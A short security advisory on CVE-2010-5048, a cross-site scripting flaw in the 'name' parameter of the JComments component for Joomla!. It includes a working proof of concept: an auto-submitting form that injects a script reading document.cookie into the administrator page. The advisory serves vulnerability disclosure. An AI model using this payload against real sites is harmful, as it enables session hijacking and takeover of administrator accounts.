Cross-site Scripting (XSS) Vulnerability in JComments Component for Joomla!

High-Tech Bridge SA Security Research Lab has discovered vulnerability in JComments component for Joomla! which could be exploited to perform cross-site scripting (XSS) attacks.

1) Cross-site scripting vulnerability in JComments: CVE-2010-5048
The vulnerability exists due to input sanitation error in the HTTP POST parameter "name" in admin.jcomments.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged in into the website and has access to the vulnerable script.
Exploitation example:
<form method="POST" action="http://host/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@example.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>